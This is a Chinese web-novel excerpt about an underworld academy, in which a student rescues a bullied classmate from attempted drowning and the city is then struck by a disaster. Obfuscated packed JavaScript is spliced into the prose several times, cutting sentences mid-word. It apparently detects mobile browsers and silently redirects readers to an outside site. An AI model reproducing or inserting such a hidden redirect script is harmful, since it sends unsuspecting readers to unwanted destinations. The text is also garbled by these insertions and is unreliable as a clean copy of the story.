吴可三人见卫珑跌下水潭,也是怕的要命——怕卫珑真的摔死了,追究起来谁也脱不了关系。几人匆匆赶下来,只见有个人已经将卫珑救上岸来,这才松了口气,接着,当她们看清那救人的是祝平安后,这颗心算是彻底放到了肚子里。 方才卫珑是怎么摔下来的,祝平安八成没有看见,就算是看见了,谁不知道祝平安也跟卫珑有旧怨?肯定不愿管卫珑的闲事,这件事也就能这么轻轻揭过了。 “祝会长,卫珑怎么样啦?她刚刚洗衣服的时候不小心脚滑摔下来了,多谢您救了她。”吴可堆出满脸笑容,谎话张口就来:“我是她的室友,您把她给我吧,我送她到医疗室去。” 祝平安露出一个讽刺的微笑:“给你?那她还能活命吗?” “祝会长这是什么意思?”吴可把脸上的假笑收起来了,事情似乎跟她想的不太一样,“怎么给我她就不能活命了?” “别装了,我刚刚什么都看见了。”祝平安冷冷地道,“吴可是吧?事到临头你还撒谎,卫珑哪里是不小心摔下来的,要不是你用皮带打她,她会摔下来吗?吴可,谁允许你这样殴打同学的?你这样做是犯法的,你知不知道!” “祝平安,你这是在给卫珑出头吗?”吴可不可思议地看着她,好像她是天下第一的大傻子,“这里全都是被卫珑欺负过的受害者,你圣母给谁看?让卫珑任凭大家使唤的主意还是你出的呢,这会儿又护起她来了?” “我确实让卫珑做杂工,但是可没说你们可以打她!”祝平安指着卫珑身上的伤口,“你们自己看看,人都伤成什么样子了?你们是受害者,所以讨厌她、讽刺她、骂她、往她身上扔瓜子皮,这些我都可以当没看见,但是你们报复也要有个度!吴可,你现在太过分了!” “那你想怎么样!”吴可见祝平安的样子,知道今天是绝对难以善了,祝平安若去告发她们,几人立刻就会被开除。 这里人迹罕至,即使出了什么事情也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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说完这话,祝平安猛地一扑,使出格斗擒拿的技巧,并指为拳,击中了吴可的肚腹,吴可猝不及防,哎呦一声弯下腰去,祝平安趁机侧身躲闪,绕到吴可背后。吴可只觉得腰间一空,一摸身上,皮带!刚刚下来的慌慌张张,皮带都没系好,被祝平安趁机抽走了! 祝平安嘿嘿一笑,她又不是傻的,以一对三,就算对方是三头猪也是不容小觑的战斗力,她毕竟是个半路出家的差役,若不持械岂不是擎等着吃亏?她刚刚向吴可逼近不是为了耍帅,而是早就看中了吴可那根没系好的皮带,这玩意儿的长短跟拘魂锁差不多,皮带又不会把人真打出事,正是拿来对付几人的利器! “啪!”只听一声脆响,吴可脸上早吃了一记,一道红痕像是伤疤一样贯穿了吴可的整张脸,把她气的哇哇爆叫,更是不要命一般向祝平安扑过来。祝平安抖擞精神,把面前三人当成格斗实训课上的助教假人,皮带上下纷飞,只听啪啪声不绝于耳,没一会儿功夫,三人都吃了几记,脸都被抽肿了。 心知己方三人没经过战斗训练,这样下去不是祝平安的对手,吴可心生一计,转而攻击躺着的卫珑。陈春雨与万依依硬扛着被皮带抽打的危险,向前缠住祝平安,吴可伺机拖起虚弱的卫珑,就要把她往水里摁。 太卑鄙了!祝平安恨的咬牙切齿,深刻体会到了林四梅曾经说过的“敌人不跟你讲武德”。她被逼上前抢回卫珑,可一旦近身,皮带的距离优势就发挥不出来了,祝平安的力气有限,立刻陷入被动。 激斗中,万依依和陈春雨一左一右扭住了祝平安的手腕,夺走了她的皮带,把她压在地上。吴可狞笑着从地上捡回皮带,捆住了祝平安的手脚,确定了祝平安已经不能反抗后,一把将祝平安的头摁进了水潭里。 30. 最后一名组员 “呃嗯咕噜噜噜!!!”看着祝平安不断挣扎,水潭中冒出串串气泡,吴可咬牙继续往下压住她。突然,她感到手腕一痛,扭头看去,卫珑不知道什么时候醒了过来,一双赤红的眼睛几乎要渗出血,爬过来猛力掰她的手腕:“快放开她!” 被卫珑这么一阻挡,吴可的手不由得松了些力道,祝平安趁机把头伸出水面猛吸一口气。吴可气的用力把卫珑的头往地上一撞,再次把她撞晕过去。接着,她手上使劲,重新把祝平安按回水中:她是真的意图杀人,已经和祝平安做下死仇,绝不是卫珑那次意外可比。索性将祝平安与卫珑一块杀了,死无对证,大家干净! 心里有了这个念头,吴可立刻扭过头,被抽的红肿的脸冷冷地盯着陈春雨和万依依:“事已至此,咱们三个谁也别想脱了关系。你们俩,去把卫珑也摁到水里淹死,事后就说她们俩仇人见面,打了起来,不慎双双跌落水潭而死,听见没有?” “这……这是不是……”万依依没想到吴可说出这种话来,嗫嚅着想要拒绝。但见吴可猛地瞪她一眼,一张红肿的脸狰狞可怕,满是杀意,再加上她手下的祝平安还在挣扎,此情此景,可怖至极,当下也不敢反抗,只怕自己一会儿也被灭了口。 万依依与陈春雨对视一眼,只得认命地将卫珑的脸也浸到水里,好在卫珑已经昏过去了,没有任何反抗,也让两人的心理压力没那么大。 几人说话的声音透过水波,模模糊糊地传进祝平安耳朵里,祝平安心里大急,这样下去怎么得了,那些该来的人……怎么还不来? 刚刚卫珑拼命相助,让她趁机吸了一口气,还能支撑个两三分钟,可是卫珑现在昏迷不醒,只要半分钟就会活活呛死! 就在这危急关头,一道金光猛然从林子里窜出来,一头把背对着林子的吴可撞飞,重重跌进水潭。祝平安险死还生,仰头出水,痛骂道:“怎么这么慢!赶快把卫珑拉上来,再把我给解开,真是的,再晚来一会儿就等着给我俩收尸吧!” “来了来了!我们哪知道你通过会徽叫大家集合,是因为这个?看来下次得在会徽上装载一个紧急信号才行!”桂中秋也从林子里跑了出来,气喘吁吁的加入战场。 金毛毛解决一个敌人,立刻听从祝平安指挥,向陈春雨和万依依扑去。方才那一幕超过了金毛毛所能容忍的极限,一向友善的金毛毛对着二人露齿恐吓,二人这才发现,金毛毛长着一口雪亮的尖牙,看起来一口咬掉人头都不成问题! 她们吓得撒手练练后退:“我也不想干的!是吴可非让我们做不可!” 金毛毛才不管谁让她们干的,既然做了,就是坏人。他上前一脚一个,干脆利落地把两人都踢进水里跟吴可作伴,这才解气地在岸上汪叫起来。 一只健壮有力的手臂将卫珑从水中提了起来,林四梅把卫珑横放在膝盖上,狠劲顶了几下,见有清水从卫珑口鼻溢出,这才松了口气:“行了,这下小命保住了,不过还是要赶快送医疗室观察,身上伤口太多了,只怕要感染!” “我送她去医务室,你们留下,咱们分头行动!”白子欣和叶霆霓从送魂鸟上跳下来,一看就是刚刚从校外赶回来的,“我会顺便告诉部长和校长,平安姐你就放心吧!” 撂下这句话,白子欣匆匆把卫珑负在身上,跳上了鸟背,徒留祝平安高呼:“你们倒是先把我手脚解开呀!” 很快,她感到手脚一松,紧接着,她感到一根冰凉纤细的手指正在抚摸她的后颈,引得她龇牙咧嘴一阵痛呼:“疼疼疼!轻点碰,这xx的吴可,肯定把老子的脖子都掐紫了!哎呦!” 她说的不错,确实掐紫了,看着祝平安后颈上那触目惊心的紫色淤痕,就能想到方才她遭了什么样的罪,温尔雅的收回手指,不忍再去触碰祝平安的伤口。众目睽睽,现在不是用治愈术的时候,只能委屈平安多受一会儿罪了…… 当然,这笔帐都要记在那三个女人头上,温尔雅抬起眼皮,用无比森冷的目光紧盯着她们,将几人的容貌一一记在心里,这才转过头,小心地把祝平安掺起来:“小心,你呛到水没有?” “我没事,肺活量大,憋气也憋得长!”祝平安靠着温尔雅的肩膀,一瘸一拐地走到石头边坐下,她的脚在刚刚的战斗里扭了一下,可能要几天不能下地了。温尔雅脱下自己的外袍,帮祝平安细致地擦掉身上的水。 见对方呼啦啦来了这么多人,把“人迹罕至”的水潭搞得比菜场还热闹,吴可脸色一片灰败:“你!这些人是哪里来的?” “啧,说你们又蠢又坏,倒也不算冤枉你们。”叶霆霓闲闲地剔着指甲说道:“不蠢不坏的人,基本都已经加入我们的志愿者协会啦,自然就会知道,我们的会徽也不仅仅是个装饰品哦。” “所有的会徽都是这位桂姐姐的叶子,是她身体的一部分,能够互相感应。自从会员被混编成小组之后,桂姐姐索性就将桂叶会徽也分了组,同组之间,能够感应互相的位置,组长的会徽还能传递一些简单的信号,要不然,小组成员怎么能够方便的碰头?居然看我们平安一个人就想要欺负她,真是……蠢到家了!” 看着岸上人多势众,个个都用痛恨的眼光看着她们,想到即将面临的刑罚,水潭里吴可的表情越来越扭曲,猛然,她长嗥一声,脸色迅速变青,短短数秒,居然成了一个青面獠牙,膀大腰圆的夜叉形象,看来这就是她的真身了。 夜叉破罐破摔,向着离水边最近的叶霆霓扑去,既然都是死,现在掐死一个不亏,掐死两个就赚! 噼! 一个小小的电花落入水潭,夜叉刹那间四肢麻痹,抖如筛糠,噗通翻倒在水里,伴随滋啪滋啪的电流声,陈春雨和万依依也都白眼一翻,肚皮朝天了。 跟被电晕的鱼一样。 一句“霆霓小心”卡在喉咙里,祝平安用震惊的眼光看向叶霆霓,叶霆霓吹了吹手指,闲闲地道:“这就是我为什么不在洗澡的时候,给你们展示雷法的理由。” 看着三条被电晕的“鱼”,祝平安叹息了,那个夜叉你也是,没事招惹叶霆霓干啥!抓鬼降妖什么的,这批人里没有比叶霆霓更资深的啦! 张松鹤和魏玄成到来时,局面……局面已经没什么要控制的了,三个犯人已经被林四梅统一捆了起来,垂头丧气地等着被带走。一起交给他们的,是六名人证的目击证言,还有犯人的口供与签字画押,证据有力,链条清晰,范式跟公共安全部的卷宗几乎一模一样,一看就是优秀学生祝平安的杰作。 另有一份草拟的判决书,其中引经据典,认为三人先后犯了侮辱罪、聚众斗殴罪、伤害他人身体罪、故意杀人罪、侵犯人身自由罪、袭警罪、污染水源罪(?),数罪并罚,应该将全部财产充公,剥夺政治权利终身,五代亲属不得任公职,还要游街示众,再打入十八层地狱受刑一亿年! 魏玄成与张松鹤对看一眼,这么不靠谱的判决书,一看就是懒散的司法部学员叶霆霓的手笔。 人证物证具在,魏玄成当即宣布开除三人学籍,并鼓励了祝平安与犯罪分子英勇做斗争的行为,给祝平安就加了十分平时分。张松鹤确认了祝平安真的没大碍之后,拿上祝平安写好的卷宗(判决书他没要),把三人抓走了。他还给祝平安批了三天假,让祝平安去医务室好好检查一下,修养好身体再上课。 于是,大家送祝平安往医务室去了,温尔雅本想自己背着祝平安去,可惜才走了十分钟就背不动了,差点把祝平安摔地上(大祭司是非战斗人员,体力其实很差),于是最终还是林四梅和金毛毛轮流背着人到医务室去了。 医生刚刚把卫珑抢救醒,又马不停蹄地接待了祝平安。经诊断,祝平安没什么事,身上只有一些淤伤,脚腕也只是轻微扭了一下,留下观察一夜,没啥问题就可以出院了。 卫珑的伤则要重得多,她患有轻微营养不良,失血较多,身上几个大血口子都缝了针,只怕将来要留下疤痕。此外,肺部也有感染,最严重的是脑震荡,没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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她不知道该说什么好,两行眼泪潸潸落下。桂中秋从怀中取出手帕,拭去了卫珑的眼泪,温声道:“好了,你什么都不用说了,大家都已经原谅你了。” “是呀,以后我们都是朋友了!”祝平安示意温尔雅把自己给扶起来,她笑着,从身上掏出了一枚崭新的桂叶会徽:“或许,我们还可以更进一步,成为同个小组的成员?” “我们组一直缺了一个人,你愿意成为我们的最后一名组员吗?” 最后一名组员?像我这样的罪人?大家真的会接纳我吗? 种种疑惑与不自信,统统融化在大家和善的笑容里,卫珑发现,他们看她的眼神,已经不再是看罪人的眼光。通过真诚悔悟与持续的苦行,她终于洗涤了过往的罪孽,迎来了新生。眼含着热泪,卫珑接过那枚会徽,珍惜地别在病号服上。 “愿意!”她脸上绽开了一个阔别几个月的微笑,又大声重复了一遍:“我非常愿意!” “呦吼!”林四梅吹了个口哨,“我们小组终于满建制啦!” 她伸出自己宽厚的大手,紧接着,桂中秋会意地把自己的手放在了她手上,再接下来,是叶霆霓、金毛毛、白子欣……九只手整整齐齐地叠在一起,只等着最后一人的加入。 犹豫着,卫珑把自己冰凉的手放上去,随着祝平安一声:“全员到齐!”大家同时欢笑着把手向天空一扬,差点扯断了卫珑的输液管子。 医生走来,催促探病者回去,给病人留下休息空间。这天发生的事情太多,休息时,卫珑睡得很香,祝平安也睡得很香。 所以,他们也就不知道,一个黑影悄悄摸进了医疗室,黑影先是怜惜地摸了摸祝平安的伤处,如玉纤白的手指上微光一闪,祝平安身上的淤伤立即奇迹般的消失不见了。 帮祝平安掖了掖被角,让她睡得更香,黑影悄然转向卫珑的床,犹豫片刻,他到底还是伸手在卫珑的脑袋上轻轻一抚。 只有脑袋上的伤是为了救平安弄的,身上其他的伤口我可不管,留着给她长记性吧!这样想着,黑影气哼哼地一掀帘子出去了。 31. 毕业前一周 第二天卫珑显得精神很好,说是头已经不晕了,祝平安醒来时,也觉神清气爽,摸摸脖子,动动脚腕,哪都不疼。大夫来检查时,也说卫珑的脑震荡已经全好了。 祝平安心里有数了,但她不愿暴露温尔雅的秘密,便说一定是卫珑昨天喝了叶霆霓的符水,才有如此神效,搞得医生大感兴趣,还想叫叶霆霓过来再画个符来给他瞧瞧。 脑震荡既然已经好了,卫珑的住院时间便从一个月变成了一周。但身上到底留下了几道疤痕。不过卫珑已经完全不在意,认为这些疤痕正好可以提醒她始终保持谦逊。 在祝平安看来,卫珑现在何止是谦逊,都有点唯唯诺诺的意思了,在小组会议上也突出一个多干活少说话,从不发表意见,任何人发言她都鼓掌认同。 这样下去怎么行呀?卫珑这孩子也太极端了,从前是自高自大般的傲慢,现在又是自轻自贱般的卑微,祝平安挠挠头皮,不知如何是好。 “不仅是被霸凌的心理创伤,还有被父母抛弃的后遗症。”温尔雅对卫珑的情况倒是很懂行的样子:“人有没有底气,一看自己有没有本事,二就看有没有人无条件的给自己兜底,她现在知道父母不愿意管她,自然萎靡不振。这不是你能解决的事情,破裂过的东西再怎么样修复,都回不到从前了。” 温尔雅说得有理,祝平安管不了卫珑的父母,只能从另一个角度下手。卫珑几个月来波折不断,上课也上的七零八落,祝平安便分派了最温柔耐心的会员给她补课,争取让卫珑能够通过一个月后的考试。卫珑还是很聪明的,几轮补课下来,成绩马上提高了,人也慢慢精神了一点。 在两个礼拜后的晨会上,卫珑第一次举手发言了!那时候,祝平安已经对于解决炒菜难吃的问题绝望了。她们把所有能想到的办法都用了一遍,厨子阿琴经过他们两个多月的培训,理论水平还真的可以去开餐馆了,现在的阿琴选择食材精心,炒菜动作规范,调料按照食谱规定放,连锅子的温度都掐的很严格,可就是这么无懈可击的流程走下来,阿琴炒出的菜还是有一股子说不上来的腥臭味,令人一闻就想吐! 她本不指望卫珑能有什么新见解,但还是本着鼓励的心态让卫珑发言了。谁知道,卫珑第一句话就非常出乎她的意料。 “按照人力资源的理论,没有不合适的员工,只有没放对位置的人才。”卫珑像个小学生一样坐的端端正正:“既然工作流程没问题,那应该就是做菜的人出了问题。” “做菜的人确实有问题,我就没见过那么不适合做菜的人!”白子欣对阿琴的手艺心有余悸。 “我说的是真的有问题。”卫珑显然是有备而来,“你们看过阿琴的人事档案吗?” 嗯?这倒是一个盲点,从来没有人想到过。祝平安只能说出自己对阿琴唯一的认识了:“不是文艺协会下来体验生活的副会长吗?” “当然啦,但阿琴几岁了?家住哪里?是什么种族?政治面貌怎样?学历学位如何?”卫珑一张嘴就是一长串人力资源部的专有名词,“如果都不了解这些,怎么称得上是真的了解一个人呢?” 这……跟炒菜难吃有关系吗?根本八竿子打不着吧!但为了不打击卫珑的积极性,祝平安还是做了决定:“说的好,卫珑同学,既然你有这个思路,就从人事的角度去查查看吧。” 当祝平安看到那份人事档案时,她陷入了长久的沉思。阿琴的其他资料中规中矩,但种族那一栏,赫然写着:矿精族(种属二水合砷酸铁)。 二水合砷酸铁,一种稀罕、独特的美丽宝石。稀罕在数量稀少,脆弱易碎,独特在——这种宝石遇热会散发出一股大葱腐烂的臭味,也叫“臭葱石”。怪不得阿琴身上毫无异味,可开火炒出来的菜一盘赛一盘的臭! 果然,多个角度看问题,世界就大有不同。入职需要人力资源部把关,毕竟有它的道理啊!祝平安感动的老泪纵横,术业有专攻,一堆人两个多月攻克不了的问题,就这么轻易的被解决了! 问题找到了,阿琴已经被验证不适合做热炒了,卫珑提出要在阿琴身上实习一下“解除合同”的话术。经过一番交涉后,阿琴虽然不同意离职,但到底还是答应大家,从此不再亲自上灶了,算是调岗。 还剩半个月毕业,再找一个厨子很没有必要,但是大家还是要吃饭。不能碰火,但要能做出热菜…… 祝平安一路思索着这个难题,回到宿舍整理柜子时,看到新年从家里背回来的几大包红烧肉罐头时,她突然有了答案。 “要我拨款购买能加热罐头的大微波炉?”魏玄成看着祝平安提交上来,已经盖了章的申请表:“还要额外支出一笔钱,从附近的罐头厂大量购买罐头?” 祝平安于是详细给校长解释了一番这个计划的必要性。 “……既能够满足人体需要卡路里,又可以保证基础的菜品口味,食品安全也不用操心。”祝平安说的唾沫横飞,“综上,我认为在最后的两个星期,以微波炉加热罐头的方式保证食堂的热菜供给,是非常经济方便的方案。” “方案不错,但,为什么要我出钱呢?”魏玄成捻起小胡子,用戏谑的眼光看着祝平安。他现在已经很喜欢祝平安这个学生了,钱他当然会出的,但时不时也想给祝平安点小小挑战,有点逗弄后辈的意思。 “因为您是第一责任人呀!”祝平安倒是大大方方的就说出了惊世骇俗的话,“一方面您是校长,学校的第一责任人,让学员们吃到口味合适的食物是您的义务。” “另一方面,身为人力资源署的署长,在厨师人选上出了这么显著的纰漏,让大家受了整整五个多月的荼毒,按照《地府官制与法治》课上学到的知识,您是要被问责的!” 促狭地挤挤眼睛,祝平安故意咳了两声:“情况就是这么个情况,这事往小了说,就是厨子水平不行;往大了说,那是公共食品安全事件,搞不好影响仕途的嘞!您出钱把东西买了,我保证守口如瓶,咱们互帮互助,合作愉快!” “哈哈哈!”魏玄成大笑起来,“祝平安,你连这招都学会了,看来我不签字是不行啦!” 愉快的在申请书上签了字,魏玄成笑着向祝平安传授心得了:“不过呢,你以后跟人做这种威胁性质的交涉,要再谨慎一点,不要一上来就这么直白的亮出底牌,要迂回柔婉……” 祝平安非常受教的点头,得到魏校长亲传之后,她跟官员们打交道的经验又提升啦! 在距离毕业还有两个星期的时候,琢玉学院的学员们终于从食堂恐怖的炒菜里解脱了出来。热泪盈眶地吃着红烧肉、四鲜烤麸、豆豉鲮鱼、茄汁牛肉、油焖笋等经典罐头菜品,困扰大家的最难题被解决,学员们简直想要欢呼万岁!他们纷纷向祝副会长打听了,到底是谁救大家于食堂之中? “是卫珑解决这个问题的。”祝平安只选择性的说了一部分真相。 那天之后,再没有人用任何名义使唤卫珑了。 一方面是卫珑被大家接受了,另一方面,地狱般的考试周也要到了,大家都在抓紧冲刺复习,在别处花的心思自然就少了。 公共课是最先开始考试的,考试有难有易,最简 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837500|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 单的考试就是《六道轮回详解》,目莲老师慈悲为怀,生怕大家挂科,出的卷子只有一道题:默写六道轮回的实际含义,只要认真听过课都能答的出。 最难的考试是谛听老师的《各族日常用语》,考试方式是口语交流,要跟谛听老师找来的五十位考官一一对话,拿到其中三十人的认可就算及格。祝平安这几个月没少往山海幼儿园跑,口语水平突飞猛进,以优异成绩通过了考试。 祝平安最打怵的送魂鸟驾驶课,也勉勉强强让她低空飘过了,虽然经历了张松鹤的魔鬼训练,但她的水平还是一般,空中飞行时一遇到突发情况就反应不过来,急转弯也很难成功,好在最终拿到了60分,避免了毕不了业的命运。 一门门课程顺利结业,实训研修就在眼前,很快就要告别这所学院了,学员们不由得满是依依不舍。同部门的学员还有相见之日,像是不同部门的室友们,更是珍惜着还能相聚的时光,互换家庭地址和联系方式,约定以后要时常相聚。不管最终结果怎么样,大部分学员确实享受了这段学习的时光,结交到了许多朋友。 林四梅、叶霆霓、桂中秋等人都和祝平安约好,以后也不可断了联系,最好每个月都相聚一次。金毛毛所在的应急管理部和祝平安所在的公共安全部经常合作,将来也不会少了见面的机会。白子欣更不用说,以后也是同事来的,二人间的离愁别绪也是最淡的。至于温尔雅,虽然嘴上一点风声都没吐露,但他私下里已经在考虑,毕业后要不要在祝平安家附近租个房子。 学员们依依不舍,教师们则是普天同庆:一是兼任教师的苦差终于结束,二是部门可算迎来新生力量啦! 走完冗长的起诉流程,张松鹤美滋滋地把吴可三人移送到法院,他对学员毕业的日子期待万分,巴不得祝平安立刻就毕业,然后他就能敲锣打鼓地把祝平安等人迎进来,再把手头上所有的疑难杂案都交给祝平安管,他好能喘口气。 远在琢玉学院熬夜复习的祝平安忽然觉得后背发冷,似乎已经感知到了自己将来做牛做马累死累活的命运。 就在吴可等人被移交到司法部的当天,一封信被递到了六道轮回部长桌上。信封是厚重的土黄色,上面描绘着五谷暗纹,暗示着寄信者与后土神殿千丝万缕的关系。信中轻描淡写地指示,吴可三人在十八层地狱服刑完毕后,必定会被打入畜生道,寄信者希望这三人要转生为苍蝇,要六道轮回部长务必做到,还附上了吴可三人栩栩如生的画像。 六道轮回部长冷汗涔涔,虽说都是打入畜生道,但畜生也有高下之分。最上等的投胎做大熊猫、东北虎,是珍稀物种,身强体壮,颇有智商,还一出生就有国家管吃管喝,每天吃饱睡足好不自在,享的福比天人道都差不了多少。 中等的投胎做猫猫狗狗,也通人性,运气好些就能给人当宠物,一辈子也算衣食无忧。最下等的就是投胎做苍蝇、蚊子、老鼠等四害,毫无智力,身处污秽,人人喊打,是最最悲惨下贱的去处。 但要说不给办这件事,那是不可能的,毕竟这并没有违反规则,只是在随机的结果中指定了一个最差的而已。六道轮回部的存在,与后土大神执掌的六道轮回井息息相关,六道轮回部几乎可以说是后土神殿的后花园,部长自然也是后土神殿的嫡系人马。不知道这吴可三人是如何得罪了“那位”,部长摇摇头,将此事记在备忘录上,又恭谨地写了一封回函,表示自己一定办到。 这些事情,祝平安全不知道,她现在唯一关心的就是三天后的实地研修考试,通过这门考试后,她就能成为真正的差役啦! 32. 异变 就在实地研修考试的前一天,一道诡异的红色流星突然撕破了地府头顶那深蓝的海,牵引灵魂归阴的九泉被那流星的力量扰乱,形成旋涡乱流,失控的向着城市撞去,冲垮了羊城北侧的大片建筑,羊城内的游魂在梦中惊醒,还来不及呼号,便被大水席卷淹没,再难挣扎上来。 已经造成了这般惨剧,流星却丝毫不停,携裹着山呼海啸般的力量,轰然击中了十八层地狱的入口。一瞬间,大地哀鸣颤抖,尘埃弥漫飞扬,以撞击点为中心,气浪一圈圈向外扩散,树木倒塌,道路裂缝,无边业火熊熊燃起,明亮的熔岩从大地裂缝中汩汩流出,将沿途所遇的倒霉游魂尽皆焚烧为虚无。 祝平安睡得正香,突然一声地裂天崩般的巨响伴随着恐怖的震动感传来,将她直接摇醒。木床散了架,她猛然向下掉落,砸在下铺桂中秋身上,紧接着,又是一阵剧烈摇晃,学员们惊恐哭叫,床铺翻倒,水杯打碎,书籍衣服散了一地,下一秒,大量山石从山坡垮下来,宿舍区的帐篷全被压塌,将下面的人全都掩埋在里面。 黑暗、疼痛、恐惧、窒息、迷茫一齐向祝平安袭来,祝平安抖着手,死死抓住身侧跟她一起被掩埋的桂中秋:“出什么事情了!” 见桂中秋没回应,她茫然地重复着又问了一遍:“出什么事情了!” “一级警报!一级警报!”此刻的羊城片区应急管理部,已经陷入一片焦灼,传真鼎内的绿火就没停下来过,一篇篇紧急传真报告,像是午餐高峰期时被打单器吐出来的外卖单子一样,从朱鼎内哗啦啦喷出来。值班人员不断慌里慌张地在办公室里来回奔跑,向其他部门收发信息: “急报!羊城北城区洪水泛滥,冲垮建筑约三万五千栋,受灾面积约五千平方公里,受灾人群难以统计,但约计有近四十万群众被困!羊城北请求应急部支援!” “急报!羊城西侧火情凶猛,过火面积已经覆盖五个街道,无数民众丧生,目前火情正在继续扩大,羊城西请求消防署支援!” “急报!羊城立交桥受到冲击被震断成三截,大量车辆与行人被困,还有数十车辆掉落桥下坠毁,羊城立交桥需要紧急抢修!” “急报!羊城郊外七槐山因地震引发山体滑坡,山上的琢玉学院被尽数掩埋!两万余名师生被困,校长请求救援!” 面对如此多,且还在源源不断涌来的求助,应急管理部的部长只觉头皮发麻,无力回天。羊城自古风调雨顺,自创部至今已有七十余年,何曾面对过如此密集的天灾?他当惯了太平官,缺乏应急的才干,加之手头资源也是有限,就是把手头所有的力量和资源都派出去,都不知道能否解决其中一个问题!现在哪怕把武装部、公共安全部、坊市营缮部、消防署等所有部门统合起来,人力也远远不够,何况他并没有权限能调动如此多资源! “部长,我们现在要怎么办,你说话呀!”见部长支支吾吾,只是扎着手在屋里不停的乱转叹气,却不处理工作,职员们也急了。他们素来知道部长缺乏才干,只是靠着资历够老忝居上位,却没想到此人如此无用! “慌些什么!”猛然一声呵斥自门口传来,一个中年男子带着五六个人大踏步地走进来,头发蓬乱,只穿着拖鞋睡衣,一看就是从床上急匆匆爬起来的,“亏你还是应急管理部的部长呢,反应如此迟钝,还应什么急!等你救灾,黄花菜也凉了!” “传我命令,羊城应急管理部部长冯兆成,才能低劣,不堪大用,即日起就地解职,职级保留,听候他用!”中年男子冷电般的目光扫视房间一周,却不再多看部长一眼,“现在所有人听我指挥!” 应急管理部的人呆呆地看着这中年男子当仁不让地坐上主位,下一刻,源源不断的命令就从男子口中发出: “王朝,你带四分之一的人作为情报组,负责随时更新信息,并将全部案件按照发生地点、受灾类型、受困人群、以及需要什么支援统计好,在地图上标注出来,为下一步工作做好准备!” “是!” “马汉,你带四分之一的人作为后勤组,根据情报组的资料,全力搜集救灾所需物资,应急储备不够就从市场上买,事后一同报账!” “收到!” “张龙,你带剩余所有人奔赴一线,保证每个现场都要有一名应急管理部的人员,以便随时沟通工作进度!你带着我的手令去,倘若人员不够,允许你就地征用所有地府公职人员!” “谨遵旨!” “公孙先生,你和应急管理部的副部长留在这里,迅速拟一个应急方案出来!赵虎给其余所有部门发通知,让所有部长都到应急管理部集合开会,二十分钟内不到者,追责到底!” “属下明白!” 一道道命令被分发下去,乱成一团的局面似乎也随着中年男子的命令变得井井有条,应急管理部的职员们都松了口气,这紧要关头也顾不上原部长的脸色了,都随着中年男子的调配一窝蜂地前去工作了。见人都走光了,到了这会儿,冯兆成似乎才反应过来,他急赤白脸地跑到中年男子面前,就想把他从主位上扯下来:“你是谁啊?凭什么革除我的职位?你……” 唰! 一道优美明净如同秋水的剑光飘过,正指在冯兆成的咽喉上,迫使他举起双手后退两步,一个浓眉大眼的高大青年手持利剑,护在中年男子身前,冷哼一声:“好大的胆子,敢对包大人不敬!” 包大人? 冯兆成吓得瞪大了眼睛,这才仔细去看坐在主位上的中年男子。方才他头晕脑胀没看清,现在一看,男子虽然肌肤黝黑,但相貌清奇,不怒自威,五官颇有几分眼熟。若是将这乱蓬蓬的头发梳起来,脸洗干净,再佩上冕旒,穿上礼服,活脱脱就是—— 啊! 冯兆成膝盖一软,噗通一声跌坐在地上,这男子,这男子是! 十殿阎王中的第五殿阎王!同时也是大多时候地府事务的实际掌权人,阎罗天子包大人! 轰隆隆! 又是一阵巨响,伴随着垮塌声,房屋一阵摇颤,灰尘砖瓦纷纷往下落。冯兆成被甩的滚到屋角去了,高大青年也顾不上他,立刻收起宝剑保护着包大人躲到书案下面,直到振动停止才探出头来。 此刻,巨响虽然收歇,但城中传出阵阵令人头皮发麻的尖啸,伴随着民众惊恐的哭喊,包大人脸色一变,与高大青年对视一眼,同时脱口而出:“不好!是十八层地狱!” 恰如应和他们的猜想一般,一个职员脸色发青地带着一纸公文狂奔进来:“急报!大人,十八层地狱被破,约有十万恶鬼出逃!” 饶是包大人经过无数风雨,心内也不由得叫起苦来,他搓了一把脸,强迫自己镇定起来: “是如何被破?” “目前还不知道!但似乎与那火流星有关!” 这不是废话么!包大人无奈地扶额,眼见应急管理部的职员都指望不上,他最终还是命令道:“展昭,这里的人手救灾还可以,但想要遏制十八层地狱暴动是不可能的,你拿着我的令牌去武装部,调动军队来捉拿逃跑恶鬼!” 展护卫却站着没动:“大人,你不擅武事,现在外面这么乱,若我去了,谁来保护大人?” “方才赵虎已经去叫所有部长开会了,公共安全部的张松鹤也马上就会到。目前地府中,连你也算上,谁人能在他手下走过十招?有此人在侧,你不需担心我的安危,还是速速做事去吧!” “既如此,在下就先离开了,大人一定要保重自身!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837501|191265||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 